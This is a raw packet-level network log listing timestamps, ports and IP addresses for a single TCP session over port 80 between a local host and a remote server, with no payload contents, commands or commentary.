Nov 3, 2023 18:53:43.258923054 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.258960962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.259008884 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.259015083 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.259061098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.259098053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.259145021 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.259183884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.259231091 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.259309053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.259358883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.259386063 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.259433031 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.259460926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.259509087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.259533882 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.259577036 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.259707928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.259792089 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.259824038 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.259880066 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.259968042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.259996891 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.260031939 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.260046959 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.260263920 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.260329962 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.260354042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.260412931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.260512114 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.260564089 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.260607004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.260627031 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.260646105 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.260679960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.260705948 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.260754108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.260776043 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.260834932 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.260875940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.260931015 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.260950089 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261001110 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261023045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261074066 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261111975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261164904 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261203051 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261253119 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261279106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261328936 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261368990 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261420012 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261446953 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261495113 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261518002 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261564970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261611938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261662960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261682034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261735916 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261766911 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261817932 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261842012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261892080 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.261919975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.261970043 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262036085 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262080908 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262094975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262145042 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262168884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262217045 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262259007 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262310028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262339115 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262387991 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262414932 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262489080 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262489080 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262551069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262567043 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262614965 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262643099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262686968 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262715101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262779951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262825012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262876034 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262892962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.262939930 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.262967110 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.263042927 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.263046026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.263089895 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.263279915 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.263333082 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.263343096 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.263422966 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.263442993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.263468981 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.263556004 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.263613939 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.263644934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.263695955 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.263739109 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.263782978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.263811111 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.263864040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.263995886 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264086962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264095068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.264137030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.264152050 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264209032 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.264218092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264273882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.264350891 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264414072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.264427900 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264482021 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.264518023 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264569044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.264633894 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264692068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.264703035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264755011 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.264786005 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264834881 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.264864922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264935970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.264945984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.264995098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.265018940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.265072107 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.265100002 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.265152931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.265243053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.265290976 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.265320063 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.265374899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.265403032 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.265480995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.265489101 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.265532017 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.298449993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.467453957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.467533112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471154928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471168995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471219063 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471221924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471266985 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471271038 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471318007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471359015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471414089 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471441031 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471488953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471514940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471565008 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471574068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471623898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471649885 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471693039 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471698046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471738100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471762896 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471815109 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471890926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.471940041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.471966028 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472014904 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472021103 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472075939 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472091913 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472152948 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472171068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472214937 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472250938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472304106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472330093 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472377062 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472415924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472467899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472505093 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472556114 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472584009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472631931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472660065 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472686052 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472707033 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472733021 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472734928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472773075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472776890 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472820044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.472845078 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.472892046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.473017931 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.473068953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.473179102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.473227978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.473236084 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.473285913 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.473305941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.473352909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.473361969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.473408937 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.473666906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.473712921 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.473716974 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.473762035 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.473861933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.473916054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.473920107 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.473965883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.473989964 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474037886 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.474073887 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474122047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.474176884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474222898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.474287033 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474324942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474355936 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.474366903 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474376917 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.474415064 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.474461079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474512100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.474513054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474559069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.474571943 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474622011 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.474708080 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474756956 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.474795103 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474853992 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.474891901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.474967957 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475023985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.475074053 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475101948 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.475159883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475250006 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.475295067 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475322962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.475382090 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475445032 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.475517035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.475523949 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475569963 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475595951 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.475644112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475662947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.475713015 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475748062 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.475836992 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475838900 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.475915909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475931883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.475980997 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.475997925 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476047039 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476099014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476141930 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476174116 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476226091 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476239920 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476285934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476313114 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476367950 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476403952 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476459980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476488113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476562023 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476587057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476614952 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476645947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476701975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476746082 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476795912 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476823092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476866007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476888895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.476934910 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.476955891 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477011919 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477037907 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477087021 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477123022 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477168083 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477195024 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477241039 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477258921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477300882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477327108 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477435112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477557898 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477598906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477601051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477649927 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477669954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477713108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477736950 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477785110 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477809906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477855921 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477869034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477914095 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477917910 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.477962017 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.477983952 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478039980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478059053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478102922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478132010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478174925 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478183985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478224993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478234053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478275061 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478305101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478353977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478368044 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478393078 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478419065 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478441000 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478477955 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478528023 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478554010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478601933 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478621960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478669882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478693008 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478754044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478825092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.478869915 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478894949 CET	80	49711	103.83.194.50	192.168.2.10
